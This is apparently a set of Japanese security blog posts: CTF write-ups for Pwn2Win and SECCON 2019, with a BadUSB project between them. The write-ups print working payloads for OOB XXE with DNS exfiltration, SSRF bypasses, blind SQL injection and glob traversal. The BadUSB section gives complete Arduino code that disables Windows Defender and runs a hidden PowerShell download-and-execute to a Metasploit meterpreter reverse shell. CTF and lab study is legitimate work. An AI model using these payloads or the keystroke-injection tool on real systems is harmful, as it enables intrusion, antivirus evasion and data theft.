Pwn2Win CTF 2019 Writeup - Baby Recruiter
Question
We found a Curriculum service from HARPA. Well, what do you think about pwn it? :) P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).
添付のソースコードは以下のとおり。
setup.sh
#!/bin/bash # build docker docker build -t babyrecruiter . # setup firewall docker run --cap-add=NET_ADMIN -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'
iptables.sh
#!/bin/bash IPT="/sbin/iptables" # Server IP SERVER_IP="$(ip addr show eth0 | grep 'inet ' | cut -f2 | awk '{ print $2}')" echo "flush iptable rules" $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X echo "Set default policy to 'DROP'" $IPT -P INPUT DROP $IPT -P FORWARD DROP $IPT -P OUTPUT DROP ## This should be one of the first rules. ## so dns lookups are already allowed for your other rules $IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT $IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT echo "allow all and everything on localhost" $IPT -A INPUT -i lo -j ACCEPT $IPT -A OUTPUT -o lo -j ACCEPT ####################################################################################################### ## Global iptable rules. Not IP specific echo "Allowing new and established incoming connections to port 80" $IPT -A INPUT -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED -j ACCEPT # Log before dropping $IPT -A INPUT -j LOG -m limit --limit 12/min --log-level 4 --log-prefix 'IP INPUT drop: ' $IPT -A INPUT -j DROP $IPT -A OUTPUT -j LOG -m limit --limit 12/min --log-level 4 --log-prefix 'IP OUTPUT drop: ' $IPT -A OUTPUT -j DROP exit 0
Dockerfile
FROM ubuntu:18.04 ENV DEBIAN_FRONTEND=noninteractive # install web server RUN apt-get update RUN apt install -y apache2 curl php libapache2-mod-php php-mysql php-xml gdebi wget iptables net-tools # we really don't like hackers RUN find / -name "*.dtd" -type f -delete RUN find / -name "*.xml" -type f -delete # install prince WORKDIR /tmp RUN wget https://www.princexml.com/download/prince_12.5-1_ubuntu18.04_amd64.deb RUN gdebi --option=APT::Get::force-yes="true" --option=APT::Get::Assume-Yes="true" -n prince_12.5-1_ubuntu18.04_amd64.deb # setup webserver WORKDIR /var/www/html COPY . . RUN rm -rf index.html Dockerfile && mkdir resumes RUN chmod 777 resumes RUN echo '' > resumes/index.html # create a flag RUN echo -n 'this_is_not_the_flag' > /etc/flag RUN chmod +x iptables.sh && ./iptables.sh RUN rm iptables.sh # start web service RUN service apache2 start EXPOSE 1337 CMD apachectl -D FOREGROUND
index.php
<?php $binary = "/usr/bin/prince"; stream_wrapper_unregister("phar"); stream_wrapper_unregister("data"); stream_wrapper_unregister("glob"); stream_wrapper_unregister("compress.zlib"); stream_wrapper_unregister("php"); if ($_SERVER['REQUEST_METHOD'] == 'POST') { /* create resume using prince */ $content = $_POST['content']; $filename = md5($_SERVER['REMOTE_ADDR']); $file = "/tmp/" . $filename . ".html"; $sf = fopen($file, 'w'); fwrite($sf, $content); fclose($sf); exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf"); /* debug */ $dom = new DOMDocument(); $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD); $info = simplexml_import_dom($dom); /*$page = ' <html> <head> <title>Resumes</title> <style> textarea { width: 500px; height: 300px; } </style> </head> <body> <span>name: ' . $info->name . '</span><br><br> </body> </html> '; echo $page;*/ header('Location: /resumes/' . $filename . '.pdf'); } else { echo ' <html> <head> <title>Resume</title> <style> textarea { width: 500px; height: 300px; } </style> </head> <body> <h1>Apply today!</h1> <span>Good enough to work with HARPA? send us you resume: </span><br> <textarea name="content" form="princeForm">Enter text here...</textarea> <form method="POST" action="/index.php" id="princeForm"> <input type="submit" value="Convert to PDF"></input> </form> </body> </html> '; }
Solution
ソースコード解析
ソースコードを読み解くと以下のことがわかる。
- フラグファイルは
/etc/flag
に存在。 - 外部への通信はDNSのみ可能。
- 入力データを
/tmp/
配下にファイル出力。ファイル名はクライアントのIPアドレスをmd5計算したもの。 - princeというツールを使用してHTMLからPDFに変換。
- デバッグ用に入力データを
loadXML
でパース。
調査
princeの既知の脆弱性を疑って検索すると以下の記事がHITする。
www.corben.io
index.phpのソースコードと酷似しているが、今回の問題は最新のprinceを使用しているためこの脆弱性は使用できない。
次にloadXMLを使用している点からXXEを疑う。
XMLのパース結果は直接レスポンスとして返ってこないため、OOB XXE Attackの使用を考える。
github.com
OOB XXE Attackには別途DTDファイルが必要だが、iptablesで外部への通信はDNS以外ブロックされている。
そこで、入力データを/tmp/
配下にファイル出力していることを利用し、サーバ内にDTDファイルを作成させる。
なお、同じIPアドレスからDTDファイルの作成リクエストとDTDファイルを参照させるリクエストを発行すると、ファイルが上書きされてしまうが、送信元のIPアドレスを変えればサーバ内にDTDファイルを残した状態にできる。
リーク先の通信もブロックされるが、昨今のマルウェアやウィルス対策ソフトのように、DNSのサブドメインを使用してリークさせればよい。
exploit
1. ドメイン用意
以下のサービスを利用して、DNSのサブドメインへのクエリを確認できるドメインを払い出す。 dnsbin.zhack.ca
51a19e650babb6f295ed.d.zhack.ca
が払い出された。
2. DTDファイル作成
取得したドメインをセットして以下を送信する。
<!ENTITY % all "<!ENTITY send SYSTEM 'http://%file;.51a19e650babb6f295ed.d.zhack.ca/'>"> %all;
curlコマンドにすると以下のとおり。
$ curl http://167.71.102.84/index.php -d "content=%3C%21ENTITY+%25+all+%22%3C%21ENTITY+send+SYSTEM+%27http%3A%2F%2F%25file%3B.51a19e650babb6f295ed.d.zhack.ca%2F%27%3E%22%3E%0D%0A%25all%3B" -v * Trying 167.71.102.84... * TCP_NODELAY set * Connected to 167.71.102.84 (167.71.102.84) port 80 (#0) > POST /index.php HTTP/1.1 > Host: 167.71.102.84 > User-Agent: curl/7.58.0 > Accept: */* > Content-Length: 145 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 145 out of 145 bytes < HTTP/1.1 302 Found < Date: Sun, 10 Nov 2019 02:31:54 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: /resumes/5e870399feeb3947c7f6c27b3ee0d71e.pdf < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 167.71.102.84 left intact
レスポンスのLocationヘッダのPDFファイル名と同じファイル名(拡張子はhtml)で、/tmp/
にDTDファイルが生成されているはずである。
3. リーク要求
2とは別のIPアドレスから以下を送信する。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/flag"> <!ENTITY % dtd SYSTEM "/tmp/5e870399feeb3947c7f6c27b3ee0d71e.html"> %dtd; ]> <data>&send;</data>
すると、DNSBinにクエリが来た。
c0ngr4tz_y0u_w3r3_4ccpt3d
CTF-BR{}で括ったものがフラグ。
CTF-BR{c0ngr4tz_y0u_w3r3_4ccpt3d}
ワンボタンキーボードにMetasploitにセッションを張る機能を組み込む
タイトルのとおり、ワンボタンキーボードに"アレ"な機能を組み込む方法です。
1. 経緯
先日の技術書典7でワンボタンキーボードを購入しました。
組み立てに半田ごてが必要であるため、少々手を出しづらく未開封のままでしたが、 社内の勉強会用のネタを作成するために試すことにしました。
ワンボタンキーボードのキーには、好きなキーボード入力を割り当て可能です。
何の機能を組み込むか悩みましたが、一応、セキュリティ関係の勉強会ということで、 Metasploitにセッションを張る機能を組み込むことにしました。
この時点で「それなんてBadUSB?」と思う方がおられるかと思いますが、はい、そのとおりです。
8月のDEFCON会場で購入したUSB Rubber Duckyを使用してBadUSBの作成実験をしたことがありますが、考え方は同様です。
なお、BadUSBの作成においては技術書典6でipusiron氏が頒布されていた『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』を参照しました。 特に日本語キーボード関連の解説には助けられました。
【ダウンロード版】『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』(PDF版) - HACK - BOOTH
2. 組み立て
以下の記事のとおり進めていくだけです。
半田ごて経験が「Raspberry Piに接続する湿度センサーの組み立て(2か所くらいとめるだけ)」「DEFCON 27のSoldering Villageでバッジを組み立て(なお失敗して全く点灯せず終了した模様)」という豊富な経験を持つ私でも、YouTubeの半田ごての使い方動画を見ながら見様見真似で組み立てることができました。
3. プログラミング
3-1. 環境準備および練習
こちらも、以下の記事のとおりに進めていくだけです。
途中、接続したワンボタンキーボードが、デバイスマネージャーでもArduino IDEでも認識されないトラブルがありました。 結果、手元にあったmicroUSBケーブルが充電用だったことが原因で、ケーブルを変更したところ無事認識しました。 これで1時間程度溶けました。マヌケですね。
まずはサンプルのとおりCtrl + Vの機能を書き込み、キーを押下して動作するか確認すればOKです。
3-2. Metasploit接続機能の組み込み
Metasploitにセッションを張る機能を組み込みます。
キーボードによる操作シナリオは以下のとおりです。
- Ctrl + Escキーを押下しスタートメニューを開く
- "virus"というワードを入力してエンターキーを押下し「ウィルスと脅威の防止」のウィンドウを開く
- TABキーを4回押下、エンターキーを押下し、「ウィルスと脅威の防止の設定」画面に遷移する
- スペースキーを押下し、リアルタイム保護をオフにしようとし、UAC(ユーザーアカウント制御)の画面を表示する
- Alt + yキーを押下し「はい」を選択する
- Alt + F4キーで「ウィルスと脅威の防止の設定」のウィンドウを閉じる
- Win + rキーを押下し「ファイル名を指定して実行」ダイアログを開き、PowerShellでMetasploitにセッションを張るスクリプトをダウンロードおよび実行する。
2の操作はOSのバージョンや環境によって異なると思います。もっと確実な方法がありそうですが、実験ということでこれで。
なお、Windows Defenderのリアルタイム保護をオフする方法として、以前まではPowerShellでSet-MpPreference -DisableRealtimeMonitoring $true
を実行するだけでオフにできたようですが、
Windows10 1903からは出来なくなった模様。よってGUIをキーボードで操作しています。
上記の操作シナリオを、Arduinoのスケッチに落とし込むと以下になります。
#include "Keyboard.h" #define PIN_KEYSW (9) int prevKeyState; int currKeyState; void setup() { pinMode(PIN_KEYSW, INPUT_PULLUP); prevKeyState = HIGH; currKeyState = HIGH; Keyboard.begin(); } void loop() { currKeyState = digitalRead(PIN_KEYSW); // キースイッチが押された if ((prevKeyState == HIGH) && (currKeyState == LOW)) { // ↓↓↓ ここに好きなキー入力を書く ↓↓↓ Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_ESC); delay(10); Keyboard.releaseAll(); delay(1000); Keyboard.print("virus"); delay(1000); Keyboard.press(KEY_RETURN); delay(10); Keyboard.releaseAll(); delay(2000); Keyboard.press(KEY_TAB); delay(10); Keyboard.releaseAll(); delay(400); Keyboard.press(KEY_TAB); delay(10); Keyboard.releaseAll(); delay(400); Keyboard.press(KEY_TAB); delay(10); Keyboard.releaseAll(); delay(400); Keyboard.press(KEY_TAB); delay(10); Keyboard.releaseAll(); delay(400); Keyboard.press(KEY_RETURN); delay(10); Keyboard.releaseAll(); delay(1000); Keyboard.press(0x20); delay(10); Keyboard.releaseAll(); delay(2000); Keyboard.press(KEY_LEFT_ALT); Keyboard.press('y'); delay(10); Keyboard.releaseAll(); delay(2000); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F4); delay(10); Keyboard.releaseAll(); delay(2000); Keyboard.press(KEY_LEFT_GUI ); Keyboard.press('r'); delay(10); Keyboard.releaseAll(); delay(1000); Keyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass @iex **new-object net.webclient(.DownloadString*&http'//192.168.1.5'8080/reverse&((@"); Keyboard.press(KEY_RETURN); delay(10); Keyboard.releaseAll(); // ↑↑↑ ここまで ↑↑↑ } prevKeyState = currKeyState; delay(10); }
最後のPowerShellコマンドの引数のうち、一部の記号を変換しています。 本当に実行したい元のコマンドは以下のとおりです。
powershell -NoP -NonI -W Hidden -Exec Bypass "iex ((new-object net.webclient).DownloadString('http://192.168.1.5:8080/reverse'))"
これは、Arduinoからの入力は英語配列のキーボードを前提としており、 日本語配列のキーボードを使用している自分のWindows環境では別の記号となってしまうため、 その差異を吸収するための措置です。
なお、変換には以下のような簡単なpythonスクリプトを書いて対応しました。
import sys table = str.maketrans({ '=': '_', ':': '\'', '&': '-', '\'': '&', '(': '*', ')': '(', '^': '=', '~': '+', '{': '}', '}': '|', '[': ']', ']': '\\', '"': '@', '@': '[', '+': ':', '*': '"', '`': '{', '|': '', }) for l in sys.stdin: print(l.translate(table),end="")
4. 実行
4-1. C2サーバ環境の用意
C2サーバに見立てた端末でMetasploitを起動して準備します。
$ cat reverse_tcp.rc use exploit/multi/script/web_delivery set LHOST 192.168.1.5 set LPORT 4444 set target 2 set URIPATH reverse set payload windows/x64/meterpreter/reverse_tcp exploit $ msfconsole -r ./reverse_tcp.rc (snip) [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Using URL: http://0.0.0.0:8080/reverse [*] Local IP: http://192.168.1.5:8080/reverse [*] Server started. [*] Run the following command on the target machine: powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::De faultCredentials;IEX $T.downloadstring('http://192.168.1.5:8080/reverse'); msf5 exploit(multi/script/web_delivery) >
準備が整いました。
4-2. ワンボタンキーボード接続&キー押下
被害端末にワンボタンキーボードを接続し、キーを押下します。
画像では伝わりにくいと思いますので動画を用意しました。
ワンボタンキーボードからMetasploitにセッションを張るデモ動画です。詳細は次のTweetで。 pic.twitter.com/4MGFYsBkv4
— graneed (@graneed111) October 26, 2019
5. まとめ
無限の可能性があるワンボタンキーボード。
まずはお試しということで、過去の実験経験を活用し、ややアレな機能を組み込みましたが、アイデア次第で色々な活用方法がありそうです。 また何か思いついたら共有したいと思います。
なお、社内の勉強会でデモした後に「どう?接続して押してみない?」と新人に振ったところ、面倒くさそうな苦笑いで断られました。 あぁ自分も面倒くさいおっさんになったんだなぁと気付かされましたね。
SECCON 2019 Online CTF Writeup - Web
いつものnoranecoチームではなく、心だけは若い2名と本当の若者2名で別チームを作って参加。
残念ながら決勝進出は厳しい得点だったので、12月のSECCONでは別の催し物への参加やnoraneco本隊を応援する。
Option-Cmd-U
Question
No more "View Page Source"! http://ocu.chal.seccon.jp:10000/index.php
Solution
/index.php?action=source
でソースコードを閲覧可能。
<?php if ($_GET['action'] === "source"){ highlight_file(__FILE__); die(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Option-Cmd-U</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> </head> <body> <div class="container"> <section class="hero"> <div class="hero-body"> <div class="container"> <h1 class="title has-text-centered has-text-weight-bold"> Option-Cmd-U </h1> <h2 class="subtitle has-text-centered"> "View Page Source" is no longer required! Let's view page source online :-) </h2> <form method="GET"> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>"> </div> <div class="control"> <button class="button is-link">Submit</button> </div> </div> </form> </div> </div> </section> <section class="section"> <pre> <!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml --> <?php if (isset($_GET['url'])){ $url = filter_input(INPUT_GET, 'url'); $parsed_url = parse_url($url); if($parsed_url["scheme"] !== "http"){ // only http: should be allowed. echo 'URL should start with http!'; } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) { // local access to nginx from php-fpm should be blocked. echo 'Oops, are you a robot or an attacker?'; } else { // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/ highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) )))); } } ?> </pre> </section> </div> </body> </html>
idn_to_ascii
あたりから、文字コード絡みの問題の匂いがしてくる。
BlackHat2019で発表された以下のネタが怪しい。
細かい説明は資料参照ということで割愛するが、
http://nginx/flag.php#:password@example.com
を入力するとフラグが得られた。なお、nginx
がどこから来たかというとdocker-compose.yml
に記載されていた。
SECCON{what_a_easy_bypass_314208thg0n423g}
web_search
Question
Get a hidden message! Let's find a hidden message using the search system on the site. http://web-search.chal.seccon.jp/
Solution
SQL Injectionで攻める問題。
Stage1
実行して返ってきた画面のテキストボックスを確認すると、or
とスペース
とカンマ
が除去されているようなので対策する。
再帰的な除去はされていないため、oorr
を入力すればor
を除去された結果or
になる。(ややこしい言い回し
スペースについては、代わりに/**/
を使用する。
定番のやつを実行する。
root@kali:/mnt/CTF/Contest/SECCON2019# curl http://web-search.chal.seccon.jp/ -G --data-urlencode "q='oorr/**/1=1#" -s <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Articles</title> </head> <body> <form action="./" method="get"> <input type="text" name="q" value="'or/**/id=60#"><input type="submit" value="Search"> </form> <dl><dt>RFC 748</dt><dd>TELNET RANDOMLY-LOSE Option</dd>(snip)<dt>FLAG</dt><dd>The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!</dd></dl> <p> Prev / Next </p> </body> </html>
これで終わりではないようだ。
Stage2
Blind SQL Injectionで攻める。
以下、スクリプト。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'http://web-search.chal.seccon.jp/' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'GET', URL, params={ #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(table_name) from {} for {})) from information_schema.tables where table_schema=database() limit 1)<'{}'#" #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(column_name) from {} for {})) from information_schema.columns where table_name='flag' limit 1)<'{}'#" "q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(piece) from {} for {})) from flag limit 1)<'{}'#" .replace("or","oorr") .replace(" ","/**/") .format(offset+1, offset + 2, guess) } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "<dl></dl>Error" in res.content.decode("utf-8"): print("Error") exit(1) elif not "No result" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
33行目を有効、34-35行目をコメントアウトして実行してテーブル名を取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: f [+] target: fl [+] target: fla [+] target: flag [+] target: flag, [+] target: flag,a [+] target: flag,ar [+] target: flag,art [+] target: flag,arti [+] target: flag,artic [+] target: flag,articl [+] target: flag,article [+] target: flag,articles [+] target: flag,articles
34行目を有効、33,35行目をコメントアウトして実行して列名を取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: p [+] target: pi [+] target: pie [+] target: piec [+] target: piece [+] target: piece
35行目を有効、33-34行目をコメントアウトして実行してレコードを取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: Y [+] target: Yo [+] target: You [+] target: You_ [+] target: You_W [+] target: You_Wi [+] target: You_Win [+] target: You_Win_ [+] target: You_Win_Y [+] target: You_Win_Ye [+] target: You_Win_Yea [+] target: You_Win_Yeah [+] target: You_Win_Yeah} [+] target: You_Win_Yeah}
組み合わせると以下のフラグ。
SECCON{Yeah_Sqli_Success_You_Win_Yeah}
fileserver
Question
I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy! http://fileserver.chal.seccon.jp:9292/public/index.html Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
Solution
http://fileserver.chal.seccon.jp:9292/
でソースを取得できる。
app.rb
require 'erb' require 'webrick' require 'fileutils' require 'securerandom' include WEBrick::HTTPStatus FileUtils.rm_rf('/tmp/flags') FileUtils.mkdir_p('/tmp/flags') FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt") FileUtils.rm('flag.txt') server = WEBrick::HTTPServer.new Port: 9292 def is_bad_path(path) bad_char = nil %w(* ? [ { \\).each do |char| if path.include? char bad_char = char break end end if bad_char.nil? false else # check if brackets are paired if bad_char == ?{ path[path.index(bad_char)..].include? ?} elsif bad_char == ?[ path[path.index(bad_char)..].include? ?] else true end end end server.mount_proc '/' do |req, res| raise BadRequest if is_bad_path(req.path) if req.path.end_with? '/' if req.path.include? '.' raise BadRequest end files = Dir.glob(".#{req.path}*") res['Content-Type'] = 'text/html' res.body = ERB.new(File.read('index.html.erb')).result(binding) next end matches = Dir.glob(req.path[1..]) if matches.empty? raise NotFound end begin file = File.open(matches.first, 'rb') res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]] res.body = file.read(1e6) rescue Errno::EISDIR => e res.set_redirect(MovedPermanently, req.path + '/') end end trap 'INT' do server.shutdown end server.start
ディレクトリトラバーサルで攻める問題のようだ。
Stage1
/tmp/flags/
ディレクトリ配下にあるフラグファイル名を特定する。
files = Dir.glob(".#{req.path}*")
先頭に.
が付与されreq.pathは/
始まりであるため、先頭は./
のカレントディレクトリ指定になる。
.
も使用不可のため、ディレクトリを上に辿ることができない。
リファレンスマニュアルを確認する。 docs.ruby-lang.org
p Dir.glob("f*\0b*") # => ["foo", "bar"]
Nullバイトを挟めば、or検索ができるようだ。
これで「先頭の./
or 任意のディレクトリ」をリスティングできる。
root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output - <!DOCTYPE html> <meta charset="utf8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Fileserver</title> <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css"> <section class="section"> <div class="container"> <h1 class="title">Index of //tmp/flags/</h1> <div class="list is-hoverable"> <a class="list-item" href="/./">./</a> <a class="list-item" href="//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt">/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt</a> </div> <hr> <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span> </div> </section>
Stage2
ファイル名を特定できた。 次にファイルの内容を取得する。
matches = Dir.glob(req.path[1..])
先頭1文字が除去されてしまうため、
http://localhost:9292/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
にアクセスしても、サーバ内でtmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
を読みに行こうとしてしまう。
http://localhost:9292//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
もダメ。このコードに到達するまでに自動でURLが正規化されるようだ。
よって、{hoge,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}
のように、ブラケットを使用したOR指定をする。
ただ、{}
記号を使用するとis_bad_path
関数で弾かれる。
is_bad_path
関数には問題があり、{
記号より先に[
記号の有無をチェックし、[
記号が存在した場合は{
記号はチェックしない。
そして、相対する]
記号が無ければ問題ないと判断しチェックが通る。
まとめると、{[,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}
をパスにセットすればよい。
curlで実行する場合は{}[
記号はURLエンコードしておく。
root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D SECCON{You_are_the_Globbin'_Slayer}
フラグゲット。